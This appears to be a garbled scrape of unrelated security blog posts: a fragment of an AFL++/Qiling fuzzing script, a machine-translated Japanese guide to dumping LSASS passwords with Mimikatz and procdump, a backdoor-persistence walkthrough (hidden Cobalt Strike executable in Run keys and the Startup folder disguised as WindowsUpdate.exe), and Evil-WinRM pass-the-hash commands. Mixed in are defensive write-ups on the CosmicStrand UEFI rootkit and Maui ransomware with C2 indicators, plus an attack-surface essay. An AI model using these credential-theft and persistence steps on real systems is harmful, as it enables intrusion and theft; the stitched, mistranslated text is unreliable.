ifnot_ql.uc.afl_fuzz(input_file=input_file,

place_input_callback=place_input_callback,exits=[ql.os.exit_point]):

_ql.log.warning('RanoncewithoutAFLattached')

os._exit(0)

exceptUcAfl.UcAflErrorasex:

ifex.errno!=UcAfl.UC_AFL_RET_CALLED_TWICE:

raise

#Imagebaseaddress

ba=0x10000

#Setahookonmain()toletunicornforkandstartinstrumentation

ql.hook_address(callback=start_afl,address=ba+0x8d8)

#Okay,readytoroll

ql.run()

if__name__=='__main__':

iflen(sys.argv)==1:

raiseValueError('Noinputfileprovided.')

main(sys.argv[1])我們首先要查找的是可執行文件的基地址（在我們的例子中為0x10000），即主函數的地址。有時需要在其他地址上額外設置鉤子，當遇到這些地址時，模糊器應將其視為崩潰。例如，在QNX 環境中（在qnx_arm 目錄中）運行AFL 時，為libc 中SignalKill 函數的地址設置了這種類型的附加處理程序。在hrsaverify 的情況下，不需要額外的處理程序。還應該記住，所有必須對正在運行的應用程序可用的文件都應該放在sysroot 中，並且應該傳遞它們的相對路徑（在這種情況下，/./rootfs/hikroot/）。

AFL++ 使用以下命令啟動：

AFL_AUTORESUME=1AFL_PATH='$(realpath./AFLplusplus)'PATH='$AFL_PATH:$PATH'afl-fuzz-iafl_inputs-oafl_outputs-U--python./fuzz_arm_linux.py@@

1

AFL_AUTORESUME=1AFL_PATH='$(realpath./AFLplusplus)'PATH='$AFL_PATH:$PATH'afl-fuzz-iafl_inputs-oafl_outputs-U--

HireHackking

1。 Mimikatzは、レジストリにLSA保護をバイパスするために変更を追加します（EDRとWDは当面とは見なされません）

Mimikatz原則：Mimikatzは、lsass.exeプロセスに保存されているプレーンテキストログインパスワードを逆に取得します。 （LSASS.EXEは、ローカルセキュリティおよびログインポリシーに使用されます）。まず、Mimikatzを使用する場合、クロールは管理者の権利でなければなりません。 Win10、Win11、Win2012およびその他のバージョンでは、システムがLSA保護を有効にし、PlantextパスワードフィールドにNULLが表示されます。最初のステップは、権限を増やすことです：特権:3360Debug。 2番目のステップは、クロールすることです。Sekurlsa3:logonpasswordspwiurnxzxeh743.pngLSA保護をオフにします。このログインのプレーンテキストパスワードは、LSASS.EXEプロセスに保存されます。 Mimikatzを使用して再びクロールして、Plantextパスワードを表示します。レジストリを復元すると、1から0を直接変更できます。コマンドの変更：reg hklm \ system \ currentControlset \ control \ securityproviders \ wdigest /v uselogoncredentient /t reg_dword /d 1 /f vyglgocjvbz744.pngしたがって、ミミカッツのために殺さない場合、たとえ静的すぎても、ハッシュアクションをバイパスするためにさまざまな姿勢を考慮する必要がありますが、これには間違いなく多くの時間がかかります。したがって、lsass.exeに保存されているプレーンテキストパスワードを取り出すことを検討し、ローカルミミカッツを介してパスワードを取得できます。実装：LSA保護がオフになり、管理者の権利が使用され、Microsoft Project Procdumpを使用してダンピングを使用しています（Microsoftプロジェクトであるため、EDRは毒を報告しません）、LSASSプロセスに保存されているパスワード情報を取得し、niuma.dmpとして保存します。 Procdumpプロジェクトアドレス：https://Learn.microsoft.com/zh-cn/sysinternals/downloads/procdumpコマンド：procdump.exe -ma lsass.exe niuma.dmpこの時点で、情報はローカル環境でMimikatzと同じディレクトリに引き込まれているため、通常のユーザー許可はniuma.dmpのプレーンテキストパスワードを直接読み取ることができます。ステップ1：sekurlsa3:3360minidump niuma.dmpステップ2：sekurlsa3:logonpasswordsフルdtjslq5p0eo745.pngしたがって、メモリストレージのDLL干渉を介してストレージを暗号化して、WDをバイパスする必要があります。

実装：前提は、LSA保護がオフになっており、管理者の特権であることです。操作中にエラーが発生する可能性があります。指定されたモジュール参照はありません。 DLLファイルの依存関係を見つけて、同じディレクトリに保存する必要があります。コマンドを使用して暗号化されたtest.logを生成し、パスC:/windows/tmepを保存し、ファイルをローカルに保存し、test.logを復号化して初期ストレージ情報を取得し、2番目のミミカッツと同じプレーンテキストパスワードを取得します。最初のステップでは、暗号化されたファイルを生成します：rundll32 dumphash.dll dllmain 2番目のステップローカル復号化コマンド：mimikatz decryption.exe test.log 1.bin 3番目のステップは、平文を読み取ります：sekurlsa:3360minidump 1つは、スクリーンショットが撮影されていません）vrq3q5x5f02746.png 4dvgmcfyzc1747.png

2。 Procdumpダンプバイパス360、Firefox

Githubプロジェクトアドレス：3https://github.com/xjsafe/mimikatzbypass yabpnkdqrpj748.pngリポスト

HireHackking

1。レジストリスタートアップに関する注意：この方法は、タスクを維持するためにこの方法で権限を維持するために使用されます。ExeはCSによって生成されたバックドアファイルです。ここでは、バックドアファイルを使用して、隠されたファイルの殺害を避けることができます。 Shell Attrib C: \ Windows \ Task.exe +S +H 1049983-20240926132220725-370366897.pngレジストリスタートアップバックドアファイルReg Add hklm \ Software \ Microsoft \ Windows \ currentversion \ run /v 1049983-20240926132222308-1456730551.png

2。Windowsサービスは、Hidden File Shell Attrib C: \ Windows \ Task.exe +S +Hサービスを自動的に起動します。実行バックドアファイルシェルを自動的に開始します。1049983-20240926132223610-567257077.pngまたは1049983-20240926132224397-1493573486.png 1049983-20240926132225014-118523183.png 1049983-20240926132225617-1332830607.png3.sharpstay.exe自動化タスクはSharpStay.exe Action=Debug Command='C3: \ Windows 1049983-20240926132227032-850389686.png

4. Service Directory（Win7 System isのみ有効）を自動的に開始するシェルコピー 'c: \ windows \ task.exe' 'c: \ users \ administrator \ appdata \ roaming \ roaming \ windows \ start menu \ start menu \ programs \ spartup \ windowsupdate.exe '％ProgramData％\ Microsoft \ Windows \ Start Menu \ Programs \ Startup \ WindowsUpDate.Exe' /YShell Attrib 'C: \ Users \ Administrator \ AppData \ Roaming

HireHackking

remote_desktop_abstract-e1654695169351.jpeg

互聯網協議（IP）地址及其背後的設備、網絡服務和雲資產是現代企業的生命線。但公司經常積累數千個數字資產，無序的狀態給IT和安全團隊造成了無法管理的混亂。如果不仔細地加以檢查，一個被遺忘、遺棄或未知的數字資產對於公司來說就是網絡安全定時炸彈。

為什麼查看和管理網絡中的每個數字事物都應是重中之重？這當中存在一種可能：它們是您組織基礎設施中增長最快的部分。有效的數字資產管理——包括IP地址可見性——是您阻止攻擊者對網絡資產發動攻擊的最基礎也是最有效的途徑。

在過去的二十年裡，安全團隊一直專注於解決內部資產風險。面向公眾的數字資產和IP地址是“非軍事化區”的一部分，“非軍事化區”是一個防禦的強化但非常有限的周邊地區。但在全球大流行和隨之而來的居家辦公趨勢的推動下，數字化轉型隨之而來，網絡邊界變得不再清晰，都需要讓位於當今一切託管服務的現代架構。

數字資產：死亡、遺忘和危險過去兩年的業務數字化轉型引發了一場新的網絡應用程序、數據庫和物聯網設備的海嘯。他們為威脅組織創造了一個巨大的新攻擊面，其中包括複雜的雲原生IT基礎設施。可能暴露的是數千個API、服務器、物聯網設備和SaaS資產。

管理不善的數字資產是一顆定時炸彈。例如，在網絡應用程序中存在巨大風險。在最近的CyCognito調查中，我們發現Global 2000組織平均每個組織有5000個暴露的Web界面，佔其外部可能受到攻擊表面的7%。在這些Web應用程序中，我們發現不乏開源JavaScript漏洞庫問題，如jQuery、JQuery-UI和Bootstrap。 SQL注入、XSS和PII暴露漏洞也不短缺。

任何面向外部的資產未知或管理不善，都可以被視為邀請對手破壞您的網絡的機會。然後，攻擊者可以竊取數據、傳播惡意軟件、破壞基礎設施並實現持續的未經授權訪問。

當我們與公司談論他們的攻擊面時，我們很少聽到他們對掌握數字資產表示信心。許多公司仍然通過Excel電子表格跟踪IP地址，並反過來連接資產。這種措施是否高效？事實上這僅適用於最小的組織。 ESG在2021年的一項研究發現，73%的安全和IT專業人士依賴他們。

數據安全是頭等大事，這也是貴公司的皇冠珠寶。我認為，保護IP地址和連接資產應該採取更現代的管理方法，這樣就可以在問題出現之前解決這些問題。

善意可能會出錯但即使是善意的公司也可能犯錯誤。假設企業服務台創建的內部票務系統只能通過內部URL訪問。對手可能會利用URL的基礎IP地址，並通過添加“:8118”來打開網絡後門（或端口）。這就是為什麼IP地址，包括端口、域和證書等相關技術，可能帶來巨大的安全和聲譽風險。

其結果可能是數字資產軟點的墓地，這些軟點經常成為對手的切入點，例如被遺忘或管理不善的DevOps或SecOps工具、雲產品和設備Web界面。

在當今復雜的企業中，系統管理員通常只能看到他們負責管理的設備子集。如果資產不在您的雷達屏幕上，您將無法真正地降低風險。

為什麼管理IP連接的資產就像養貓一樣在過去的12個月裡，通過對CyCognito的客戶群觀察調研，我們看到組織內IP地址（和相關數字資產）的數量增長了20%。這一增長至少部分歸功於雲的採用以及對居住在公司網絡的連接設備和Web應用程序的依賴。但經常被忽視的是，當公司增長或萎縮時，基礎設施會蔓延。

例如，在繞過IP地址管理方面，合併和收購（併購）活動通常會讓企業保持平穩。假設酒店集團收購了較小的競爭對手。當這種情況發生時，它還繼承了一個由未管理和未知的IP地址和域組成的潛在雷區。

死亡域名和被遺忘域名——一種不同類型的數字資產——經常成為所謂的懸垂DNS記錄的犧牲品，對手可以通過重新註冊來接管被遺忘的子域名。這些子域以前連接到公司資源，但現在完全由不良行為者控制，然後可用於改變公司的網絡流量，造成數據丟失和聲譽損害。

同樣，子公司的剝離可能導致基礎設施被遺棄，成為孤兒數字資產和相關網絡應用程序。這些被遺忘的資產經常被IT團隊忽視，但絕對不會被機會主義黑客忽視。

更糟糕的是，不安全的端口使設備可以進行默認憑據攻擊。畢竟，對於對手來說，要掃描和查找開放的端口，他們需要管理不善的雲服務或IP連接的硬件。

最後，通過收購獲得的不受管理的IT基礎設施和資產可能會浪費寶貴的時間。考慮一下管理不善的IP地址如何向IT安全團隊發送高度戒備狀態，以了解為什麼公司資產在它不開展業務的國家/地區被使用。

為了保護關鍵數據，阻止惡意軟件感染並防止漏洞，部分答案是進行有效的數字資產管理以及提高IP地址可見性。太多的系統管理員仍然受制於這個過時的基於電子表格的資產管理系統。

此外，忽略攻擊載體並僅檢測已知資產中CVE的遺留掃描儀無法評估與公司內部大量數字資產相關的風險。例如，在之前的內部票務系統中——通過URLhttps://X.X.X.X[:]8118意外暴露在互聯網上——該IP上的端口掃描充其量只能找到HTTP服務。掃描儀肯定不會理解曝光的背景和關鍵性。公司擁有的雲資產上意外打開目錄也是如此，儘管這些目錄可能包含員工憑據和TB的敏感數據。

無知不是幸福看到就是相信當然，默認情況下，數字資產並不危險。相反，風險與IT堆棧的管理以及系統管理員處理與預置、非預置、託管和非託管服務綁定的眾多連接應用程序的能力有關。

難題擺在公司的面前：“你如何管理你不知道的東西？”

實施網絡分割，零信任解決方案和積極的IP和端口掃描，以及資產發現，都是對減輕威脅問題的必要響應。但這些解決方案並沒有100%解決問題。

這就像根據20%的居民的檢測，給社區一份乾淨的新冠肺炎健康法案。沒有其他80%的測試，你真的不知道自己是否安全。即使對90%的攻擊表面進行完美的漏洞管理，當10%可能看不見和不受管理時，這也不是無關緊要的事。

與低效的發現工具相關的成本和修復發現問題的IT資源有限也是有效攻擊表面管理的障礙。

攻擊表面管理需要圍繞“發現”暴露的關鍵資產的新心態。持續發現那些大規模攻擊者抵抗力最小的路徑，加上安全測試和將寶貴資產被盜的風險聯繫起來，至關重要。 CyCognito正在圍繞暴露和風險管理與緩慢、有限範圍和昂貴的漏洞管理開拓這個想法。

想像一下，看到您的整個攻擊表面——以及您的子公司的攻擊表面——並能夠根據風險簡介對修復進行優先排序，該風險簡介告訴您特定資產被黑客入侵的概率。在數字資產的背景下，了解您的整個IP環境並優先考慮需要首先解決的問題，可以大大有助於實現更安全的IT環境。

大局？對手總是尋求阻力最小的道路。他們避免了更難的攻擊路徑，因為它們往往很吵，增加了後衛檢測和響應的風險。現代外部攻擊表面管理方法應該利用資產補救優先級相同的最不耐藥性路徑原則，同時減少回收（MTTR）的時間，並回答以下問題：“我們安全嗎？”

Rob Gurzeev是外部攻擊表面管理公司CyCognito的首席執行官兼聯合創始人。他是一名進攻性安全專家，專注於提供網絡安全解決方案，幫助組織找到並消除攻擊者利用的路徑。

HireHackking

abstract_cosmic_strand-1200x600.jpg

Rootkit 是植入操作系統最深處的惡意軟件。儘管在紙面上它們似乎對攻擊者很有吸引力，但創建它們會帶來重大的技術挑戰，並且最輕微的編程錯誤都有可能使受害計算機完全崩潰。在對2022 年的APT 預測中，我們注意到儘管存在這些風險，但預計會有更多的攻擊者達到開發此類工具所需的複雜程度。嵌入在如此低級別的操作系統中的惡意軟件的主要吸引力之一是，它極難被檢測到，而且在固件rootkit的情況下，即使重新安裝操作系統或用戶完全更換了計算機的硬盤驅動器，也會確保計算機保持在感染狀態。

在本文中，我們會介紹一個名為CosmicStrand 的UEFI 固件rootkit。

受影響的設備雖然我們無法發現受害計算機最初是如何被感染的，但對其硬件的分析揭示了CosmicStrand 可以感染的設備。 rootkit 位於技嘉或華碩主板的固件映像中，我們注意到所有這些映像都與使用H81 芯片組的設計有關。這表明可能存在允許攻擊者將其rootkit 注入固件映像的常見漏洞。

在這些固件映像中，對CSMCORE DXE 驅動程序進行了修改，其入口點已被修補以重定向到.reloc 部分中添加的代碼。此代碼在系統啟動期間執行，會觸發一個長執行鏈，從而導致在Windows 中下載和部署惡意組件。

查看我們能夠獲得的各種固件映像，我們評估這些修改可能是使用自動修補程序執行的。如果是這樣，則攻擊者可以事先訪問受害者的計算機，以提取、修改和覆蓋主板的固件。這可以通過已經部署在計算機或物理訪問上的預先植入的惡意軟件來實現。

感染過程概述在深入了解組成這個rootkit 的各種組件之前，我們想提供一個關於它試圖完成的任務的高級視圖。此執行鏈的目標是在每次啟動時從受感染的UEFI 組件開始將內核級植入部署到Windows 系統中。

UEFI 惡意軟件開發者面臨一個獨特的技術挑戰：他們的植入程序在啟動過程中很早就開始運行，以至於操作系統（在本例中為Windows）甚至還沒有加載到內存中。到那時，UEFI執行上下文已經終止了。 rootkit完成的主要任務是找到一種方法，將惡意代碼一路傳遞到各個啟動階段。

工作流程包括連續設置掛鉤，允許惡意代碼持續存在，直到操作系統啟動之後。所涉及的步驟是：

初始受感染的固件引導整個鏈。

該惡意軟件在啟動管理器中設置了一個惡意掛鉤，允許它在執行之前修改Windows 的內核加載程序。

通過篡改操作系統加載程序，攻擊者能夠在Windows 內核的功能中設置另一個掛鉤。

當稍後在操作系統的正常啟動過程中調用該函數時，惡意軟件最後一次控制了執行流程。

它在內存中部署一個shellcode 並聯繫C2 服務器以檢索實際的惡意有效負載以在受害者的計算機上運行。

下圖中總結了這些步驟：

1.png

UEFI 植入2.png

在確定了惡意軟件植入的目的之後，我們現在可以更詳細地了解這些步驟是如何執行的。

整個執行鏈從EFI 驅動程序開始，它似乎是一個名為CSMCORE 的合法版本的補丁版本（旨在促進通過MBR 在傳統模式下啟動計算機），其中攻擊者修改了指向HandleProtocol 啟動服務函數的指針。每次調用此函數時，都會將執行重定向到攻擊者提供的代碼，該代碼試圖確定調用它的組件（它正在尋找要感染的特定組件——efi）。通過檢查函數參數以及位於返回地址的字節，CosmicStrand 可以識別它正在尋找的確切“調用”。

3.png

之所以選擇執行中的這個特定點，是因為在這個階段，引導管理器已經加載到內存中，但還沒有運行。 CosmicStrand抓住了這個機會來修補它的Archpx64TransferTo64BitApplicationAsm中的一些字節。

該函數稍後在正常的操作系統啟動過程中被調用也是在一個關鍵時刻：那時Windows 操作系統加載程序也存在於內存中，並且可以反過來進行修改。

當它運行時，Archpx64TransferTo64BitApplicationAsm 通過查找特定的字節模式從OS 加載器(OslArchTransferToKernel) 中定位一個函數。 然後CosmicStrand 在它的末端添加一個掛鉤。

4.png

OslArchTransferToKernel 在執行從Windows 加載程序轉移到Windows 內核之前被調用，這使其成為此類rootkit 的傳統掛鉤點。

在Windows 內核有機會運行之前，CosmicStrand 在ZwCreateSection 中設置了另一個掛鉤。惡意代碼被複製到內存中的ntoskrnl.exe的映像中，並且ZwCreateSection的第一個字節被重寫以重定向到它。我們注意到，攻擊者小心翼翼地將惡意代碼放在ntoskrnl.exe的.text部分的空閒空間中，這使得這種重定向在可能的安全產品眼中不那麼顯眼。

5.png

此時，CosmicStrand 似乎還試圖禁用PatchGuard，這是一種用於防止修改內存中Windows 內核的關鍵結構的安全機制。為此，它會定位ntoskrnl.exe 的KiFilterFiberContext 函數並對其進行修改，使其無需執行任何工作即可返回。值得注意的是，該函數的本地化也是通過搜索硬編碼模式來實現的，非常詳盡，甚至包含與2016 年8 月發布的Redstone 1 對應的模式。

6.png

然後，Windows內核啟動，並在正常運行時調用掛鉤的ZwCreateSection函數。當這種情況發生時，CosmicStrand會再次獲得執行的控制權，並在運行更多惡意代碼之前恢復原始代碼。

ZwCreateSection 掛鉤的主要目的是收集內核提供的API 函數的地址，並為下一個組件創建一個導入表。通過使用解析函數，它還在內核地址空間中分配了一個緩衝區，在調用shell代碼之前，它在這個地址空間映射shell代碼。

內核shellcode到目前為止描述的所有步驟僅用於將代碼執行從UEFI 傳播到Windows 內核。這個shellcode 是迄今為止鏈中第一個真正的惡意組件。它設置了一個線程通知例程，每次創建新線程時都會調用該例程。 CosmicStrand 一直等到winlogon.exe 出現，然後在這個高權限上下文中執行回調。

這樣，CosmicStrand 會休眠10 分鐘並測試受感染計算機的互聯網連接。 CosmicStrand 不依賴高級API 函數來生成網絡流量，而是直接與傳輸設備接口交互：它生成所需的IRP（I/O 請求數據包）並通過將IOCTL 發送到TCP 或UDP 設備對象。 DNS請求可以通過谷歌的DNS服務器(8.8.8[.]8)或自定義的DNS服務器(222.222.67[.]208)來實現。

CosmicStrand 通過向其C2 服務器update.bokts[.]com 發送自定義的UDP或TCP 數據包來檢索其最終有效負載。回复預計將返回一個或多個包含528 字節塊的數據包，遵循以下結構：

7.png

各種數據塊被重新組裝成一家族字節，這些字節映射到內核空間並解釋為shellcode。不幸的是，我們無法獲得來自C2 服務器的數據副本。然而，我們確實在我們可以研究的一台受感染計算機上找到了內存中的用戶模式樣本，並相信它與CosmicStrand 相關聯。該示例是一個可執行文件，它運行命令行以便在受害者的計算機上創建一個用戶（“aaaabbbb”）並將其添加到本地管理員組。

8.png

我們可以由此推斷，從C2 服務器接收到的shellcode 可能是攻擊者提供的PE 可執行文件的暫存器，而且很可能存在更多。

較舊的CosmicStrand 變體在調查過程中，我們還發現了這個rootkit 的舊版本。它們具有相同的部署過程，它們的細微差別與內核shellcode 有關。

它試圖從exe 而不是winlogon.exe 劫持線程。

為獲得額外的shellcode 以運行而聯繫的C2 域是不同的(erda158[.]to)。

每次在系統中創建新進程時，舊變體都會打印調試消息。

9.png

根據我們對這兩種變體使用的基礎設施的分析，我們估計舊的一種在2016 年底至2017 年中期之間使用，而當前的一種在2020 年曾非常活躍。

基礎設施我們知道有兩個C2服務器，每個變體對應一個。根據對他們可用的被動DNS數據，這些域有一個很長的生命週期，並在有限的時間內解析到IP地址，否則，rootkit 將無法運行。因此值得注意的是，雖然攻擊者選擇部署極其持久的植入程序，但對受害計算機的實際利用可能只有幾個月。但是，這些域可能偶爾會在很短的時間內被重新激活，並且此信息不會被被動DNS 系統記錄。

10.png

細心的讀者會注意到這兩個域的活動期之間存在三年的差距。在此期間，攻擊者可能正在使用通過CosmicStrand 部署的用戶模式組件控制受害者的計算機，或者更有可能我們還沒有發現的其他變體和C2服務器。

受害者目前，研究人員在中國、越南、伊朗和俄羅斯發現CosmicStrand 的受害者。

總結綜合分析，CosmicStrand 是由說中文的開發者開發的，或者是利用了講中文的攻擊者的資源。具體來說，CosmicStrand中的一些代碼模式也在另一個惡意軟件家族MyKings殭屍網絡中被觀察到(例如，MD5 E31C43DD8CB17E9D68C65E645FB3F6E8)。 Sophos在2020年記錄了這個用於部署加密器的殭屍網絡。

與CosmicStrand 的相似之處包括：

使用MBR rootkit 在MyKings 中建立隱秘持久性。

CosmicStrand 和MyKings 在內核模式（Proc 和GetM）中分配內存時使用相同的標籤。

兩個家族都以相同的方式生成網絡數據包，並直接利用UDP 和TCP 設備對象。

兩者使用的API 哈希碼是相同的，如下面的截圖所示。據我們所知，這種算法只在另外兩個rootkit 中被發現，即MoonBounce 和xTalker。

12.png

除了這種代碼相似性之外，CosmicStrand 使用的硬編碼後備DNS 服務器位於CHINANET-BACKBONE (AS4134) 這一事實可能被視為攻擊者屬於中文網絡的一個非常低的置信度的跡象。

CosmicStrand 是一個複雜的UEFI 固件rootkit，它允許其所有者實現持久性攻擊。

HireHackking

sl-abstract-block-module-structure-1200x600.jpg

2022 年7 月7 日，CISA 發布了一篇題為“朝鮮國家支持的攻擊者使用Maui 勒索軟件攻擊醫療保健和公共衛生部門”的警報。最近，卡巴斯基實驗室的研究人員又對Maui 勒索軟件進行了研究，並將其出現的時間從2021 年5 月提前到了2021 年4 月15 日。由於早期事件中的惡意軟件是在2021年4月15日編譯的，而所有已知樣本的編譯日期都是相同的，因此這次事件可能是有史以來第一次涉及Maui 勒索軟件的事件。

雖然CISA 在其報告中沒有提出有力的證據將此次攻擊歸咎於朝鮮攻擊者，但卡巴斯基實驗室的研究人員確定，在將Maui部署到初始目標系統大約10小時前，該組織向目標部署了眾所周知的DTrack惡意軟件的變體，幾個月前又部署了3proxy（一個由俄羅斯人開發的多平台代理軟件）。綜上所述，研究人員十分有把握，認為這與針對韓國的APT組織Andariel類似。 Andariel是Lazarus組織下的一個子組，主要攻擊目標為韓國企業和政府機構。

2020.12.25：發現可疑的3proxy 工具；

2021.4.15：發現DTrack 惡意軟件；

2021.4.15：發現Maui 勒索軟件；

DTrack 惡意軟件1.png

一旦運行這個惡意軟件，它就會執行一個嵌入的shellcode，加載一個最終的Windows 內存中的有效負載。該惡意軟件負責收集受害者信息並將其發送到遠程主機。它的功能幾乎與以前的DTrack 模塊相同。該惡意軟件通過Windows 命令收集有關受感染主機的信息。內存中的有效負載執行以下Windows 命令：

2.png

此外，該惡意軟件還會收集瀏覽器歷史數據，並將其保存到browser.his 文件中，就像舊變種一樣。與舊版本的DTrack 相比，新的信息收集模塊通過HTTP 將被盜信息發送到遠程服務器，該變體將被盜文件複製到同一網絡上的遠程主機。

Maui 勒索軟件Maui 勒索軟件是在同一服務器上的DTrack 變種後十小時檢測到的。

3.png

Maui 勒索軟件存在多個運行參數。在此事件中，我們觀察到攻擊者使用“-t”和“-x”參數，以及特定的驅動器路徑進行加密：

4.png

在這個示例中，“-t 8”將勒索軟件線程數設置為8，“-x”命令惡意軟件“self melt”，“E:”值將路徑（在這個案例中為整個驅動器）設置為加密。勒索軟件的功能與之前Stairwell 報告中描述的相同。

該惡意軟件創建了兩個密鑰文件來實現文件加密：

5.png

不同受害者身上的類似DTrack 惡意軟件根據對相鄰主機的滲透信息，研究人員在印度發現了更多受害者。其中一台主機最初於2021 年2 月遭到攻擊。 Andariel 很可能竊取了提升的憑據以在目標組織內部署此惡意軟件，但這種猜測是基於路徑和其他工件，具體細節還需要繼續分析。

6.png

該惡意軟件的主要目標與上述受害者的情況相同，使用不同的登錄憑據和本地IP 地址來竊取數據。

7.png

Windows命令來竊取數據

從同一個受害者身上，我們發現了其他使用不同登錄憑據的DTrack 惡意軟件(MD5 87e3fc08c01841999a8ad8fe25f12fe4)。

新增DTrack模塊和初始感染方法“3Proxy”工具可能是攻擊者使用的工具，於2020 年9 月9 日編譯，並於2020 年12 月25 日部署給受害者。基於這個檢測和編譯日期，研究人員擴大了研究範圍，發現了一個額外的DTrack 模塊。該模塊編譯於2020年09月16日14:16:21，並在2020年12月初檢測到，與3Proxy工具部署的時間點相似。

8.png

這個DTrack模塊非常類似於DTrack的事件跟踪模塊，該模塊之前被報告給我們的威脅情報客戶。在一個受害系統中，我們發現一個知名的簡單HTTP服務器HFS7部署了上面的惡意軟件。在一個易受攻擊的HFS服務器上使用未知漏洞並執行“whoami”後，執行下面的Powershell命令從遠程服務器獲取額外的Powershell腳本：

9.png

mini.ps1 腳本負責通過bitsadmin.exe 下載並執行上述DTrack 惡意軟件：

10.png

另一個受害者操作了一個易受攻擊的Weblogic 服務器。根據分析，攻擊者通過CVE-2017-10271 漏洞攻擊了該服務器。研究人員看到Andariel 在2019 年年中濫用了相同的漏洞並破壞了WebLogic 服務器。在本案例中，被利用的服務器會執行Powershell 命令來獲取額外的腳本。獲取的腳本能夠從我們上面提到的服務器（hxxp://145.232.235[.]222/usr/users/mini.ps1）下載Powershell 腳本。因此攻擊者至少在2020 年底之前濫用了易受攻擊的面向互聯網的服務來部署他們的惡意軟件。

受害者分析2022年7月的CISA 警報指出，醫療保健和公共衛生部門已成為美國Maui 勒索軟件的攻擊目標。然而，根據我們的研究，我們認為這項業務並不針對特定行業，而且其影響範圍是全球性的。可以確認，有一家日本住房公司於2021 年4 月15 日成為Maui 勒索軟件的攻擊目標。此外，來自印度、越南和俄羅斯的受害者在類似的時間範圍內被日本Maui 事件中使用的DTrack 惡意軟件感染，時間是從2020 年底至2021 年初。

研究表明，該攻擊者相當投機取巧，無論其業務範圍如何，只要擁有良好的財務狀況，就可能成為其攻擊對象。攻擊者很可能偏愛易受攻擊的暴露於互聯網的Web 服務。此外，Andariel 有選擇地部署勒索軟件以獲取經濟利益。

11.png

幕後攻擊者是誰？根據卡巴斯基威脅歸因引擎(KTAE)，來自受害者的DTrack惡意軟件與之前已知的DTrack惡意軟件具有高度的代碼相似性(84%)。

此外，我們發現DTrack 惡意軟件(MD5 739812e2ae1327a94e441719b885bd19) 使用與“Backdoor.Preft”惡意軟件(MD5 2f553cba839ca4dab201d3f8154bae2a) 相同的shellcode 加載程序，此後門由賽門鐵克發布。請注意，賽門鐵克最近將Backdoor.Preft 惡意軟件描述為“aka Dtrack, Valefor”。除了代碼相似性之外，攻擊者還使用了3Proxy 工具(MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb)，該工具之前也被Andariel/StoneFly/Silent Chollima 組織(MD5 95247511a611ba3d8581c7c6b8b1a38a) 使用。賽門鐵克將StoneFly 歸咎於DarkSeoul 事件背後的攻擊者。

總結綜合分析，Maui 勒索軟件事件背後的攻擊者TTP 與過去的Andariel/Stonefly/Silent Chollima 活動非常相似：

在初始感染後使用合法代理和隧道工具或部署它們以保持訪問權限，並使用Powershell 腳本和Bitsadmin 下載其他惡意軟件；

使用漏洞攻擊已知但未修補的易受攻擊的公共服務，例如WebLogic 和HFS；

專門部署DTrack，也被稱為Preft；

目標網絡中的駐留時間可以在活動之前持續數月；

出於經濟利益，在全球範圍內部署勒索軟件。

HireHackking

前言

Evil-winrm 工具最初是由 Hackplayers 团队开发的。开发该工具的目的是尽可能简化渗透测试，尤其是在 Microsoft Windows 环境中。 Evil-winrm 使用 PowerShell 远程协议 (PSRP)，且系统和网络管理员经常使用Windows Remote Management 协议进行上传和管理。 WinRM 是一种基于对防火墙友好的SOAP 协议，可通过 HTTP默认 端口 5985 与 HTTP 传输一起使用。有关 PowerShell 远程处理的更多信息，请参考访问 Microsoft 的官方网站。

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

Evil-winrm介绍

Evil-winrm 是一款使用ruby 语言开发的开源工具。 该工具具有许多很酷的功能，包括使用纯文本密码远程登录、SSL 加密登录、 NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。该开发工具的作者不断更新工具并长期维护更新。 使用 evil-winrm，我们可以获得远程主机的 PowerShell命令终端会话。 该工具已在Kali Linux系统中集成，但如果您想单独下载使用，则可以从其官方 git 存储库下载它。

下载链接： https: //github.com/Hackplayers/evil-winrm

Winrm 服务发现

正如上文提到的那样，如果在远程主机中启用了 Winrm 服务，则会联想到使用 evil-winrm 工具。 为了确认目标系统是否开启了winrm服务，我们可以使用 nmap 查找两个默认的 winrm 服务端口 5895 和 5896 是否打开。 从 nmap 扫描结果中，我们发现 winrm 服务已启用，因此我们可以使用 evil-winrm 工具进行登录并执行我们将在横向阶段探索的其他任务。

nmap -p   5985 , 5986 192.168 .1 .19

1lofzb0mkue14169.png

Evil-winrm  help命令帮助

要列出 evil-winrm 的所有可用的功能，我们可以简单地使用 -h 标志，它将列出所有带有描述的帮助命令。

evil-winrm -h

5sgdbgypg2z14171.png

使用纯文本密码登录

假设我们在账户枚举阶段获得了明文密码，并且注意到远程主机启用了 winrm 服务 ，我们可以使用 evil-winrm 在目标系统上进行远程会话，使用方法是带有-i 参数的目标系统IP地址、带有 -u 参数的目标系统用户名，带有-p参数的目标系统密码。 如下图所示，我们可以看到已经建立了一个远程 PowerShell 会话。 

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987

gjatiqgxvsi14172.png

使用纯文本密码登录 - 启用 SSL

正如上文提到的那样，winrm 服务可通过 HTTP 协议传输流量，然后我们可以使用安全套接字层 (SSL) 功能来确保连接安全。 一旦启用 SSL 功能，我们的数据将通过加密的安全套接字层进行传输。使用 evil-winrm，我们可以使用-S 参数来建立与远程主机的安全传输的命令。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -S

jym5ornkjqw14175.png

使用 NTLM Hash 登录 - 通过哈希攻击

在内网渗透或解决任何与 Windows 权限提升和 Active Directory 利用相关的项目中，我们经常通过各种攻击方法获得 NTLM 哈希值。 如果我们在 Windows 内网环境中，我们可以利用 evil-winrm 通过执行传递哈希攻击来建立 PowerShell 会话，这样可以将哈希作为密码而不是使用纯文本密码进行远程登陆。 除此之外，这种攻击还支持其他协议。 传递哈希我们可以使用-H 参数 。

evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38

g1tunhaty3014177.png

加载 Powershell 脚本

